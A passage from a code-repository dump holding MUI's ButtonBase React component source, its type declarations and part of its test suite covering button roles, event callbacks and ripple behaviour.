props: TypeMap['props'] & Omit<ButtonBaseTypeMap['props'], 'classes' | keyof TypeMap['props']>;\n  defaultComponent: TypeMap['defaultComponent'];\n}\n\nexport type ExtendButtonBase<TypeMap extends OverridableTypeMap> = ((\n  props: { href: string } & OverrideProps<ExtendButtonBaseTypeMap<TypeMap>, 'a'>,\n) => React.JSX.Element) &\n  OverridableComponent<ExtendButtonBaseTypeMap<TypeMap>>;\n\n/**\n * `ButtonBase` contains as few styles as possible.\n * It aims to be a simple building block for creating a button.\n * It contains a load of style reset and some focus/ripple logic.\n *\n * Demos:\n *\n * - [Button](https://next.mui.com/material-ui/react-button/)\n *\n * API:\n *\n * - [ButtonBase API](https://next.mui.com/material-ui/api/button-base/)\n */\ndeclare const ButtonBase: ExtendButtonBase<ButtonBaseTypeMap>;\n\nexport type ButtonBaseProps<\n  RootComponent extends React.ElementType = ButtonBaseTypeMap['defaultComponent'],\n  AdditionalProps = {},\n> = OverrideProps<ButtonBaseTypeMap<AdditionalProps, RootComponent>, RootComponent> & {\n  component?: React.ElementType | undefined;\n};\n\nexport interface ButtonBaseActions {\n  focusVisible(): void;\n}\n\nexport default ButtonBase;\n"
  },
  {
    "path": "packages/mui-material/src/ButtonBase/ButtonBase.js",
    "content": "'use client';\nimport * as React from 'react';\nimport PropTypes from 'prop-types';\nimport clsx from 'clsx';\nimport refType from '@mui/utils/refType';\nimport elementTypeAcceptingRef from '@mui/utils/elementTypeAcceptingRef';\nimport composeClasses from '@mui/utils/composeClasses';\nimport isFocusVisible from '@mui/utils/isFocusVisible';\nimport { styled } from '../zero-styled';\nimport { useDefaultProps } from '../DefaultPropsProvider';\nimport useForkRef from '../utils/useForkRef';\nimport useEventCallback from '../utils/useEventCallback';\nimport useButtonBase from './useButtonBase';\nimport useLazyRipple from '../useLazyRipple';\nimport TouchRipple from './TouchRipple';\nimport buttonBaseClasses, { getButtonBaseUtilityClass } from './buttonBaseClasses';\n\nconst useUtilityClasses = (ownerState) => {\n  const { disabled, focusVisible, focusVisibleClassName, classes } = ownerState;\n\n  const slots = {\n    root: ['root', disabled && 'disabled', focusVisible && 'focusVisible'],\n  };\n\n  const composedClasses = composeClasses(slots, getButtonBaseUtilityClass, classes);\n\n  if (focusVisible && focusVisibleClassName) {\n    composedClasses.root += ` ${focusVisibleClassName}`;\n  }\n\n  return composedClasses;\n};\n\nexport const ButtonBaseRoot = styled('button', {\n  name: 'MuiButtonBase',\n  slot: 'Root',\n})({\n  display: 'inline-flex',\n  alignItems: 'center',\n  justifyContent: 'center',\n  position: 'relative',\n  boxSizing: 'border-box',\n  WebkitTapHighlightColor: 'transparent',\n  backgroundColor: 'transparent', // Reset default value\n  // We disable the focus ring for mouse, touch and keyboard users.\n  outline: 0,\n  border: 0,\n  margin: 0, // Remove the margin in Safari\n  borderRadius: 0,\n  padding: 0, // Remove the padding in Firefox\n  cursor: 'pointer',\n  userSelect: 'none',\n  verticalAlign: 'middle',\n  MozAppearance: 'none', // Reset\n  WebkitAppearance: 'none', // Reset\n  textDecoration: 'none',\n  // So we take precedent over the style of a native <a /> element.\n  color: 'inherit',\n  '&::-moz-focus-inner': {\n    borderStyle: 'none', // Remove Firefox dotted outline.\n  },\n  [`&.${buttonBaseClasses.disabled}`]: {\n    pointerEvents: 'none', // Disable link interactions\n    cursor: 'default',\n  },\n  '@media print': {\n    colorAdjust: 'exact',\n  },\n});\n\n/**\n * `ButtonBase` contains as few styles as possible.\n * It aims to be a simple building block for creating a button.\n * It contains a load of style reset and some focus/ripple logic.\n */\nconst ButtonBase = React.forwardRef(function ButtonBase(inProps, ref) {\n  const props = useDefaultProps({ props: inProps, name: 'MuiButtonBase' });\n  const {\n    action,\n    centerRipple = false,\n    children,\n    className,\n    component = 'button',\n    disabled = false,\n    disableRipple = false,\n    disableTouchRipple = false,\n    focusRipple = false,\n    focusVisibleClassName,\n    /* eslint-disable react/prop-types */\n    // replaces internal handling in Chip, other components can opt-in individually to use this in the future\n    focusableWhenDisabled,\n    // private prop to allow native vs non-native button props to be resolved before mount\n    internalNativeButton: internalNativeButtonProp,\n    /* eslint-enable react/prop-types */\n    LinkComponent = 'a',\n    nativeButton: nativeButtonProp,\n    onBlur,\n    onClick: onClickProp,\n    onContextMenu,\n    onDragLeave,\n    onFocus,\n    onFocusVisible,\n    onKeyDown: onKeyDownProp,\n    onKeyUp: onKeyUpProp,\n    onMouseDown,\n    onMouseLeave,\n    onMouseUp,\n    onTouchEnd,\n    onTouchMove,\n    onTouchStart,\n    tabIndex = 0,\n    TouchRippleProps,\n    touchRippleRef,\n    type,\n    ...other\n  } = props;\n\n  const isLink = Boolean(other.href || other.to);\n  const hasFormAction = Boolean(other.formAction);\n\n  let ComponentProp = component;\n  if (ComponentProp === 'button' && isLink) {\n    ComponentProp = LinkComponent;\n  }\n\n  const internalNativeButton =\n    typeof ComponentProp === 'string'\n      ? ComponentProp === 'button'\n      : (internalNativeButtonProp ?? false);\n  const nativeButton = nativeButtonProp ?? internalNativeButton;\n  const ripple = useLazyRipple();\n  const handleRippleRef = useForkRef(ripple.ref, touchRippleRef);\n\n  const [focusVisible, setFocusVisible] = React.useState(false);\n  if (disabled && focusVisible) {\n    setFocusVisible(false);\n  }\n\n  const handleBeforeKeyDown = useEventCallback((event) => {\n    // Check if key is already down to avoid repeats being counted as multiple activations\n    if (focusRipple && !event.repeat && focusVisible && event.key === ' ') {\n      ripple.stop(event, () => {\n        ripple.start(event);\n      });\n    }\n  });\n\n  const handleBeforeKeyUp = useEventCallback((event) => {\n    // calling preventDefault in keyUp on a <button> will not dispatch a click event if Space is pressed\n    // https://codesandbox.io/p/sandbox/button-keyup-preventdefault-dn7f0\n    if (focusRipple && event.key === ' ' && focusVisible && !event.defaultPrevented) {\n      ripple.stop(event, () => {\n        ripple.pulsate(event);\n      });\n    }\n  });\n\n  const { getButtonProps, rootRef: buttonRef } = useButtonBase({\n    nativeButton,\n    nativeButtonProp,\n    internalNativeButton,\n    allowInferredHostMismatch: isLink || typeof ComponentProp === 'string',\n    disabled,\n    type,\n    hasFormAction,\n    tabIndex,\n    onBeforeKeyDown: handleBeforeKeyDown,\n    onBeforeKeyUp: handleBeforeKeyUp,\n  });\n\n  const { onClick, onKeyDown, onKeyUp, ...buttonProps } = getButtonProps({\n    onClick: onClickProp,\n    onKeyDown: onKeyDownProp,\n    onKeyUp: onKeyUpProp,\n  });\n\n  React.useImperativeHandle(\n    action,\n    () => ({\n      focusVisible: () => {\n        setFocusVisible(true);\n        buttonRef.current.focus();\n      },\n    }),\n    [buttonRef],\n  );\n\n  const enableTouchRipple = ripple.shouldMount && !disableRipple && !disabled;\n\n  React.useEffect(() => {\n    if (focusVisible && focusRipple && !disableRipple) {\n      ripple.pulsate();\n    }\n  }, [disableRipple, focusRipple, focusVisible, ripple]);\n\n  const handleMouseDown = useRippleHandler(ripple, 'start', onMouseDown, disableTouchRipple);\n  const handleContextMenu = useRippleHandler(ripple, 'stop', onContextMenu, disableTouchRipple);\n  const handleDragLeave = useRippleHandler(ripple, 'stop', onDragLeave, disableTouchRipple);\n  const handleMouseUp = useRippleHandler(ripple, 'stop', onMouseUp, disableTouchRipple);\n  const handleMouseLeave = useRippleHandler(\n    ripple,\n    'stop',\n    (event) => {\n      if (focusVisible) {\n        event.preventDefault();\n      }\n      if (onMouseLeave) {\n        onMouseLeave(event);\n      }\n    },\n    disableTouchRipple,\n  );\n  const handleTouchStart = useRippleHandler(ripple, 'start', onTouchStart, disableTouchRipple);\n  const handleTouchEnd = useRippleHandler(ripple, 'stop', onTouchEnd, disableTouchRipple);\n  const handleTouchMove = useRippleHandler(ripple, 'stop', onTouchMove, disableTouchRipple);\n\n  const handleBlur = useRippleHandler(\n    ripple,\n    'stop',\n    (event) => {\n      if (!isFocusVisible(event.target)) {\n        setFocusVisible(false);\n      }\n      if (onBlur) {\n        onBlur(event);\n      }\n    },\n    false,\n  );\n\n  const handleFocus = useEventCallback((event) => {\n    // Fix for https://github.com/facebook/react/issues/7769\n    if (!buttonRef.current) {\n      buttonRef.current = event.currentTarget;\n    }\n\n    if (isFocusVisible(event.target)) {\n      setFocusVisible(true);\n\n      if (onFocusVisible) {\n        onFocusVisible(event);\n      }\n    }\n\n    if (onFocus) {\n      onFocus(event);\n    }\n  });\n\n  const linkProps = {};\n  if (isLink) {\n    linkProps.tabIndex = disabled ? -1 : tabIndex;\n    if (disabled) {\n      linkProps['aria-disabled'] = disabled;\n    }\n    linkProps.type = type;\n  }\n\n  const handleRef = useForkRef(ref, buttonRef);\n\n  const ownerState = {\n    ...props,\n    centerRipple,\n    component,\n    disabled,\n    disableRipple,\n    disableTouchRipple,\n    focusRipple,\n    tabIndex,\n    focusVisible,\n  };\n\n  const classes = useUtilityClasses(ownerState);\n\n  return (\n    <ButtonBaseRoot\n      as={ComponentProp}\n      className={clsx(classes.root, className)}\n      ownerState={ownerState}\n      onBlur={handleBlur}\n      onClick={onClick}\n      onContextMenu={handleContextMenu}\n      onFocus={handleFocus}\n      onKeyDown={onKeyDown}\n      onKeyUp={onKeyUp}\n      onMouseDown={handleMouseDown}\n      onMouseLeave={handleMouseLeave}\n      onMouseUp={handleMouseUp}\n      onDragLeave={handleDragLeave}\n      onTouchEnd={handleTouchEnd}\n      onTouchMove={handleTouchMove}\n      onTouchStart={handleTouchStart}\n      ref={handleRef}\n      {...(isLink ? linkProps : buttonProps)}\n      {...other}\n    >\n      {children}\n      {enableTouchRipple ? (\n        <TouchRipple ref={handleRippleRef} center={centerRipple} {...TouchRippleProps} />\n      ) : null}\n    </ButtonBaseRoot>\n  );\n});\n\nfunction useRippleHandler(ripple, rippleAction, eventCallback, skipRippleAction = false) {\n  return useEventCallback((event) => {\n    if (eventCallback) {\n      eventCallback(event);\n    }\n\n    if (!skipRippleAction) {\n      ripple[rippleAction](event);\n    }\n\n    return true;\n  });\n}\n\nButtonBase.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │    To update them, edit the d.ts file and run `pnpm proptypes`.     │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * A ref for imperative actions.\n   * It currently only supports `focusVisible()` action.\n   */\n  action: refType,\n  /**\n   * If `true`, the ripples are centered.\n   * They won't start at the cursor interaction position.\n   * @default false\n   */\n  centerRipple: PropTypes.bool,\n  /**\n   * The content of the component.\n   */\n  children: PropTypes.node,\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes: PropTypes.object,\n  /**\n   * @ignore\n   */\n  className: PropTypes.string,\n  /**\n   * The component used for the root node.\n   * Either a string to use a HTML element or a component.\n   */\n  component: elementTypeAcceptingRef,\n  /**\n   * If `true`, the component is disabled.\n   * @default false\n   */\n  disabled: PropTypes.bool,\n  /**\n   * If `true`, the ripple effect is disabled.\n   *\n   * ⚠️ Without a ripple there is no styling for :focus-visible by default. Be sure\n   * to highlight the element by applying separate styles with the `.Mui-focusVisible` class.\n   * @default false\n   */\n  disableRipple: PropTypes.bool,\n  /**\n   * If `true`, the touch ripple effect is disabled.\n   * @default false\n   */\n  disableTouchRipple: PropTypes.bool,\n  /**\n   * If `true`, the base button will have a keyboard focus ripple.\n   * @default false\n   */\n  focusRipple: PropTypes.bool,\n  /**\n   * This prop can help identify which element has keyboard focus.\n   * The class name will be applied when the element gains the focus through keyboard interaction.\n   * It's a polyfill for the [CSS :focus-visible selector](https://drafts.csswg.org/selectors-4/#the-focus-visible-pseudo).\n   * The rationale for using this feature [is explained here](https://github.com/WICG/focus-visible/blob/HEAD/explainer.md).\n   * A [polyfill can be used](https://github.com/WICG/focus-visible) to apply a `focus-visible` class to other components\n   * if needed.\n   */\n  focusVisibleClassName: PropTypes.string,\n  /**\n   * @ignore\n   */\n  formAction: PropTypes.oneOfType([PropTypes.func, PropTypes.string]),\n  /**\n   * @ignore\n   */\n  href: PropTypes /* @typescript-to-proptypes-ignore */.any,\n  /**\n   * The component used to render a link when the `href` prop is provided.\n   * @default 'a'\n   */\n  LinkComponent: PropTypes.elementType,\n  /**\n   * Whether the custom component is expected to render a native `<button>` element\n   * when passing a React component to the `component` or `slots` prop.\n   */\n  nativeButton: PropTypes.bool,\n  /**\n   * @ignore\n   */\n  onBlur: PropTypes.func,\n  /**\n   * @ignore\n   */\n  onClick: PropTypes.func,\n  /**\n   * @ignore\n   */\n  onContextMenu: PropTypes.func,\n  /**\n   * @ignore\n   */\n  onDragLeave: PropTypes.func,\n  /**\n   * @ignore\n   */\n  onFocus: PropTypes.func,\n  /**\n   * Callback fired when the component is focused with a keyboard.\n   * We trigger a `onFocus` callback too.\n   */\n  onFocusVisible: PropTypes.func,\n  /**\n   * @ignore\n   */\n  onKeyDown: PropTypes.func,\n  /**\n   * @ignore\n   */\n  onKeyUp: PropTypes.func,\n  /**\n   * @ignore\n   */\n  onMouseDown: PropTypes.func,\n  /**\n   * @ignore\n   */\n  onMouseLeave: PropTypes.func,\n  /**\n   * @ignore\n   */\n  onMouseUp: PropTypes.func,\n  /**\n   * @ignore\n   */\n  onTouchEnd: PropTypes.func,\n  /**\n   * @ignore\n   */\n  onTouchMove: PropTypes.func,\n  /**\n   * @ignore\n   */\n  onTouchStart: PropTypes.func,\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool])),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n  /**\n   * @default 0\n   */\n  tabIndex: PropTypes.number,\n  /**\n   * Props applied to the `TouchRipple` element.\n   */\n  TouchRippleProps: PropTypes.object,\n  /**\n   * A ref that points to the `TouchRipple` element.\n   */\n  touchRippleRef: PropTypes.oneOfType([\n    PropTypes.func,\n    PropTypes.shape({\n      current: PropTypes.shape({\n        pulsate: PropTypes.func.isRequired,\n        start: PropTypes.func.isRequired,\n        stop: PropTypes.func.isRequired,\n      }),\n    }),\n  ]),\n  /**\n   * @ignore\n   */\n  type: PropTypes.oneOfType([PropTypes.oneOf(['button', 'reset', 'submit']), PropTypes.string]),\n};\n\nexport default ButtonBase;\n"
  },
  {
    "path": "packages/mui-material/src/ButtonBase/ButtonBase.test.js",
    "content": "// @ts-check\nimport * as React from 'react';\nimport { expect } from 'chai';\nimport { spy, stub } from 'sinon';\nimport {\n  act,\n  createRenderer,\n  fireEvent,\n  screen,\n  focusVisible,\n  simulatePointerDevice,\n  programmaticFocusTriggersFocusVisible,\n  supportsTouch,\n  isJsdom,\n  reactMajor,\n} from '@mui/internal-test-utils';\nimport PropTypes from 'prop-types';\nimport { ThemeProvider, createTheme } from '@mui/material/styles';\nimport ButtonBase, { buttonBaseClasses as classes } from '@mui/material/ButtonBase';\nimport describeConformance from '../../test/describeConformance';\nimport * as ripple from '../../test/ripple';\n\ndescribe('<ButtonBase />', () => {\n  const { render } = createRenderer();\n\n  // https://developer.microsoft.com/en-us/microsoft-edge/platform/issues/14156632/\n  let canFireDragEvents = true;\n\n  beforeAll(() => {\n    // browser testing config\n    try {\n      const EventConstructor = window.DragEvent || window.Event;\n      // eslint-disable-next-line no-new\n      new EventConstructor('');\n    } catch (err) {\n      canFireDragEvents = false;\n    }\n  });\n\n  describeConformance(<ButtonBase />, () => ({\n    classes,\n    inheritComponent: 'button',\n    render,\n    refInstanceof: window.HTMLButtonElement,\n    testComponentPropWith: 'a',\n    muiName: 'MuiButtonBase',\n    testVariantProps: { disabled: true },\n  }));\n\n  describe('root node', () => {\n    it('should have default button type \"button\"', () => {\n      const { setProps } = render(<ButtonBase>Hello</ButtonBase>);\n      expect(screen.getByText('Hello')).to.have.attribute('type', 'button');\n\n      setProps({ type: undefined });\n      expect(screen.getByText('Hello')).to.have.attribute('type', 'button');\n    });\n\n    it('should change the button type', () => {\n      render(<ButtonBase type=\"submit\">Hello</ButtonBase>);\n      expect(screen.getByText('Hello')).to.have.attribute('type', 'submit');\n    });\n\n    it('should change the button component and add accessibility requirements', () => {\n      render(<ButtonBase component=\"span\" role=\"checkbox\" aria-checked={false} />);\n\n      const checkbox = screen.getByRole('checkbox');\n      expect(checkbox).to.have.property('nodeName', 'SPAN');\n      expect(checkbox).attribute('tabIndex').to.equal('0');\n    });\n\n    it('should not apply role=\"button\" if type=\"button\"', () => {\n      render(<ButtonBase type=\"button\">Hello</ButtonBase>);\n      expect(screen.getByText('Hello')).not.to.have.attribute('role');\n    });\n\n    it('should change the button type to span and set role=\"button\"', () => {\n      render(<ButtonBase component=\"span\">Hello</ButtonBase>);\n      const button = screen.getByRole('button');\n\n      expect(button).to.have.property('nodeName', 'SPAN');\n      expect(button).not.to.have.attribute('type');\n    });\n\n    it('should automatically change the button to an anchor element when href is provided', () => {\n      const { container } = render(<ButtonBase href=\"https://google.com\">Hello</ButtonBase>);\n      const button = container.firstChild;\n\n      expect(button).to.have.property('nodeName', 'A');\n      expect(button).not.to.have.attribute('role');\n      expect(button).not.to.have.attribute('type');\n      expect(button).to.have.attribute('href', 'https://google.com');\n    });\n\n    it('should use custom LinkComponent when provided in the theme', () => {\n      const CustomLink = React.forwardRef((props, ref) => {\n        // eslint-disable-next-line jsx-a11y/anchor-has-content\n        return <a data-testid=\"customLink\" ref={ref} {...props} />;\n      });\n      const theme = createTheme({\n        components: {\n          MuiButtonBase: {\n            defaultProps: {\n              LinkComponent: CustomLink,\n            },\n          },\n        },\n      });\n\n      const { container } = render(\n        <ThemeProvider theme={theme}>\n          <ButtonBase href=\"https://google.com\">Hello</ButtonBase>\n        </ThemeProvider>,\n      );\n      const button = container.firstChild;\n      expect(screen.getByTestId('customLink')).not.to.equal(null);\n      expect(button).to.have.property('nodeName', 'A');\n      expect(button).to.have.attribute('href', 'https://google.com');\n    });\n\n    it('applies role=\"button\" when an anchor is used without href', () => {\n      render(<ButtonBase component=\"a\">Hello</ButtonBase>);\n      const button = screen.getByRole('button');\n\n      expect(button).to.have.property('nodeName', 'A');\n      expect(button).not.to.have.attribute('type');\n    });\n\n    it('should not add role=\"button\" if custom component and href are used', () => {\n      const CustomLink = React.forwardRef((props, ref) => {\n        // eslint-disable-next-line jsx-a11y/anchor-has-content\n        return <a data-testid=\"customLink\" ref={ref} {...props} />;\n      });\n\n      const { container } = render(\n        // @ts-expect-error missing types in CustomLink\n        <ButtonBase component={CustomLink} href=\"https://google.com\">\n          Hello\n        </ButtonBase>,\n      );\n      const button = container.firstChild;\n      expect(button).to.have.property('nodeName', 'A');\n      expect(button).to.have.attribute('data-testid', 'customLink');\n      expect(button).to.have.attribute('href', 'https://google.com');\n      expect(button).not.to.have.attribute('role', 'button');\n    });\n\n    it('should not add role=\"button\" if custom component and to are used', () => {\n      const CustomLink = React.forwardRef((props, ref) => {\n        // @ts-expect-error missing types in CustomLink\n        const { to, ...other } = props;\n        // eslint-disable-next-line jsx-a11y/anchor-has-content\n        return <a data-testid=\"customLink\" ref={ref} {...other} href={to} />;\n      });\n\n      const { container } = render(\n        // @ts-expect-error missing types in CustomLink\n        <ButtonBase component={CustomLink} to=\"https://google.com\">\n          Hello\n        </ButtonBase>,\n      );\n      const button = container.firstChild;\n      expect(button).not.to.have.attribute('role', 'button');\n    });\n  });\n\n  describe('event callbacks', () => {\n    it('should fire event callbacks', async () => {\n      const onClick = spy();\n      const onBlur = spy();\n      const onFocus = spy();\n      const onKeyUp = spy();\n      const onKeyDown = spy();\n      const onMouseDown = spy();\n      const onMouseLeave = spy();\n      const onMouseUp = spy();\n      const onContextMenu = spy();\n      const onDragEnd = spy();\n      const onTouchStart = spy();\n      const onTouchEnd = spy();\n\n      const { user } = render(\n        <ButtonBase\n          onClick={onClick}\n          onBlur={onBlur}\n          onFocus={onFocus}\n          onKeyUp={onKeyUp}\n          onKeyDown={onKeyDown}\n          onMouseDown={onMouseDown}\n          onMouseLeave={onMouseLeave}\n          onMouseUp={onMouseUp}\n          onContextMenu={onContextMenu}\n          onDragEnd={onDragEnd}\n          onTouchEnd={onTouchEnd}\n          onTouchStart={onTouchStart}\n        >\n          Hello\n        </ButtonBase>,\n      );\n      const button = screen.getByText('Hello');\n\n      // only run in supported browsers\n      if (supportsTouch()) {\n        const touch = new Touch({ identifier: 0, target: button, clientX: 0, clientY: 0 });\n\n        fireEvent.touchStart(button, { touches: [touch] });\n        expect(onTouchStart.callCount).to.equal(1);\n\n        fireEvent.touchEnd(button, { touches: [touch] });\n        expect(onTouchEnd.callCount).to.equal(1);\n      }\n\n      if (canFireDragEvents) {\n        fireEvent.dragEnd(button);\n        expect(onDragEnd.callCount).to.equal(1);\n      }\n\n      fireEvent.mouseDown(button);\n      expect(onMouseDown.callCount).to.equal(1);\n\n      fireEvent.mouseUp(button);\n      expect(onMouseUp.callCount).to.equal(1);\n\n      fireEvent.contextMenu(button);\n      expect(onContextMenu.callCount).to.equal(1);\n\n      await user.click(button);\n      expect(onClick.callCount).to.equal(1);\n\n      await act(async () => {\n        button.focus();\n      });\n      expect(onFocus.callCount).to.equal(1);\n\n      fireEvent.keyDown(button);\n      expect(onKeyDown.callCount).to.equal(1);\n\n      fireEvent.keyUp(button);\n      expect(onKeyUp.callCount).to.equal(1);\n\n      await act(async () => {\n        button.blur();\n      });\n      expect(onBlur.callCount).to.equal(1);\n\n      fireEvent.mouseLeave(button);\n      expect(onMouseLeave.callCount).to.equal(1);\n    });\n\n    it('should propagate click events when Enter is pressed on non-native button', async () => {\n      const parentClickSpy = spy();\n      const buttonClickSpy = spy();\n\n      const { user } = render(\n        <div onClick={parentClickSpy}>\n          <ButtonBase onClick={buttonClickSpy} component=\"div\">\n            Hello\n          </ButtonBase>\n        </div>,\n      );\n\n      // moves focus to the button\n      await user.tab();\n      await user.keyboard('{Enter}');\n\n      expect(buttonClickSpy.callCount).to.equal(1);\n      expect(parentClickSpy.callCount).to.equal(1);\n    });\n\n    it('should propagate click events when Space is released on non-native button', async () => {\n      const parentClickSpy = spy();\n      const buttonClickSpy = spy();\n\n      const { user } = render(\n        <div onClick={parentClickSpy}>\n          <ButtonBase onClick={buttonClickSpy} component=\"div\">\n            Hello\n          </ButtonBase>\n        </div>,\n      );\n\n      // moves focus to the button\n      await user.tab();\n      await user.keyboard(' ');\n\n      expect(buttonClickSpy.callCount).to.equal(1);\n      expect(parentClickSpy.callCount).to.equal(1);\n    });\n  });\n\n  describe.skipIf(isJsdom())('ripple', () => {\n    describe('interactions', () => {\n      it('should not have a focus ripple by default', () => {\n        render(\n          <ButtonBase\n            TouchRippleProps={{\n              classes: {\n                ripplePulsate: 'ripple-pulsate',\n              },\n            }}\n          />,\n        );\n\n        const button = screen.getByRole('button');\n        simulatePointerDevice();\n\n        focusVisible(button);\n\n        expect(button.querySelectorAll('.ripple-pulsate')).to.have.lengthOf(0);\n      });\n\n      it('should start the ripple when the mouse is pressed', async () => {\n        render(\n          <ButtonBase\n            TouchRippleProps={{\n              classes: {\n                rippleVisible: 'ripple-visible',\n                child: 'child',\n                childLeaving: 'child-leaving',\n              },\n            }}\n          />,\n        );\n\n        const button = screen.getByRole('button');\n\n        await ripple.startTouch(button);\n\n        expect(button.querySelectorAll('.ripple-visible .child-leaving')).to.have.lengthOf(0);\n        expect(\n          button.querySelectorAll('.ripple-visible .child:not(.child-leaving)'),\n        ).to.have.lengthOf(1);\n      });\n\n      it('should stop the ripple when the mouse is released', async () => {\n        render(\n          <ButtonBase\n            TouchRippleProps={{\n              classes: {\n                rippleVisible: 'ripple-visible',\n                child: 'child',\n                childLeaving: 'child-leaving',\n              },\n            }}\n          />,\n        );\n\n        const button = screen.getByRole('button');\n\n        await ripple.startTouch(button);\n        await ripple.stopTouch(button);\n\n        expect(button.querySelectorAll('.ripple-visible .child-leaving')).to.have.lengthOf(1);\n        expect(\n          button.querySelectorAll('.ripple-visible .child:not(.child-leaving)'),\n        ).to.have.lengthOf(0);\n      });\n\n      it('should start the ripple when the mouse is pressed 2', async () => {\n        render(\n          <ButtonBase\n            TouchRippleProps={{\n              classes: {\n                rippleVisible: 'ripple-visible',\n                child: 'child',\n                childLeaving: 'child-leaving',\n              },\n            }}\n          />,\n        );\n\n        const button = screen.getByRole('button');\n\n        await ripple.startTouch(button);\n        await ripple.stopTouch(button);\n\n        await ripple.startTouch(button);\n\n        expect(button.querySelectorAll('.ripple-visible .child-leaving')).to.have.lengthOf(1);\n        expect(\n          button.querySelectorAll('.ripple-visible .child:not(.child-leaving)'),\n        ).to.have.lengthOf(1);\n      });\n\n      it('should stop the ripple when the button blurs', async () => {\n        render(\n          <ButtonBase\n            TouchRippleProps={{\n              classes: {\n                rippleVisible: 'ripple-visible',\n                child: 'child',\n                childLeaving: 'child-leaving',\n              },\n            }}\n          />,\n        );\n\n        const button = screen.getByRole('button');\n        await ripple.startTouch(button);\n\n        await act(async () => button.blur());\n\n        expect(button.querySelectorAll('.ripple-visible .child-leaving')).to.have.lengthOf(0);\n        expect(\n          button.querySelectorAll('.ripple-visible .child:not(.child-leaving)'),\n        ).to.have.lengthOf(1);\n      });\n\n      it('should restart the ripple when the mouse is pressed again', async () => {\n        render(\n          <ButtonBase\n            TouchRippleProps={{\n              classes: {\n                rippleVisible: 'ripple-visible',\n                child: 'child',\n                childLeaving: 'child-leaving',\n              },\n            }}\n          />,\n        );\n\n        const button = screen.getByRole('button');\n\n        await ripple.startTouch(button);\n\n        expect(button.querySelectorAll('.ripple-visible .child-leaving')).to.have.lengthOf(0);\n        expect(\n          button.querySelectorAll('.ripple-visible .child:not(.child-leaving)'),\n        ).to.have.lengthOf(1);\n\n        await ripple.stopTouch(button);\n        await ripple.startTouch(button);\n\n        expect(button.querySelectorAll('.ripple-visible .child-leaving')).to.have.lengthOf(1);\n        expect(\n          button.querySelectorAll('.ripple-visible .child:not(.child-leaving)'),\n        ).to.have.lengthOf(1);\n      });\n\n      it('should stop the ripple when the mouse leaves', async () => {\n        render(\n          <ButtonBase\n            TouchRippleProps={{\n              classes: {\n                rippleVisible: 'ripple-visible',\n                child: 'child',\n                childLeaving: 'child-leaving',\n              },\n            }}\n          />,\n        );\n\n        const button = screen.getByRole('button');\n        await ripple.asyncFireEvent(button, 'mouseDown');\n        await ripple.asyncFireEvent(button, 'mouseLeave');\n\n        expect(button.querySelectorAll('.ripple-visible .child-leaving')).to.have.lengthOf(1);\n        expect(\n          button.querySelectorAll('.ripple-visible .child:not(.child-leaving)'),\n        ).to.have.lengthOf(0);\n      });\n\n      it.skipIf(!canFireDragEvents)(\n        'should stop the ripple when dragging has finished',\n        async function test() {\n          render(\n            <ButtonBase\n              TouchRippleProps={{\n                classes: {\n                  rippleVisible: 'ripple-visible',\n                  child: 'child',\n                  childLeaving: 'child-leaving',\n                },\n              }}\n            />,\n          );\n\n          const button = screen.getByRole('button');\n          await ripple.asyncFireEvent(button, 'mouseDown');\n\n          await ripple.asyncFireEvent(button, 'dragLeave');\n\n          expect(button.querySelectorAll('.ripple-visible .child-leaving')).to.have.lengthOf(1);\n          expect(\n            button.querySelectorAll('.ripple-visible .child:not(.child-leaving)'),\n          ).to.have.lengthOf(0);\n        },\n      );\n\n      it('should stop the ripple when the context menu opens', async () => {\n        render(\n          <ButtonBase\n            TouchRippleProps={{\n              classes: {\n                rippleVisible: 'ripple-visible',\n                child: 'child',\n                childLeaving: 'child-leaving',\n              },\n            }}\n          />,\n        );\n\n        const button = screen.getByRole('button');\n        await ripple.asyncFireEvent(button, 'mouseDown');\n\n        expect(button.querySelectorAll('.ripple-visible .child-leaving')).to.have.lengthOf(0);\n        expect(\n          button.querySelectorAll('.ripple-visible .child:not(.child-leaving)'),\n        ).to.have.lengthOf(1);\n\n        await ripple.asyncFireEvent(button, 'contextMenu');\n\n        expect(button.querySelectorAll('.ripple-visible .child-leaving')).to.have.lengthOf(1);\n        expect(\n          button.querySelectorAll('.ripple-visible .child:not(.child-leaving)'),\n        ).to.have.lengthOf(0);\n      });\n\n      it('should not crash when changes enableRipple from false to true', async () => {\n        function App() {\n          /** @type {React.RefObject<import('./ButtonBase').ButtonBaseActions | null>} */\n          const buttonRef = React.useRef(null);\n          const [enableRipple, setRipple] = React.useState(false);\n\n          React.useEffect(() => {\n            if (buttonRef.current) {\n              buttonRef.current.focusVisible();\n            } else {\n              throw new Error('buttonRef.current must be available');\n            }\n          }, []);\n\n          return (\n            <div>\n              <button\n                type=\"button\"\n                data-testid=\"trigger\"\n                onClick={() => {\n                  setRipple(true);\n                }}\n              >\n                Trigger crash\n              </button>\n              <ButtonBase\n                autoFocus\n                action={buttonRef}\n                TouchRippleProps={{\n                  classes: {\n                    ripplePulsate: 'ripple-pulsate',\n                  },\n                }}\n                focusRipple\n                disableRipple={!enableRipple}\n              >\n                the button\n              </ButtonBase>\n            </div>\n          );\n        }\n\n        const { container } = render(<App />);\n\n        await ripple.asyncFireEvent(screen.getByTestId('trigger'), 'click');\n        expect(container.querySelectorAll('.ripple-pulsate')).to.have.lengthOf(1);\n      });\n\n      it('should stop the ripple on blur if disableTouchRipple is set', async () => {\n        const buttonActions = React.createRef();\n\n        render(\n          <ButtonBase\n            action={buttonActions}\n            focusRipple\n            disableTouchRipple\n            TouchRippleProps={{\n              classes: {\n                rippleVisible: 'ripple-visible',\n                child: 'child',\n                childLeaving: 'child-leaving',\n              },\n            }}\n          >\n            Test\n          </ButtonBase>,\n        );\n\n        const button = screen.getByRole('button');\n\n        simulatePointerDevice();\n        await ripple.stopFocus(button);\n        await ripple.startFocus(button);\n\n        await ripple.stopFocus(button);\n\n        expect(button.querySelectorAll('.ripple-visible .child-leaving')).to.have.lengthOf(1);\n      });\n    });\n  });\n\n  describe('prop: centerRipple', () => {\n    it('centers the TouchRipple', async () => {\n      const { container } = render(\n        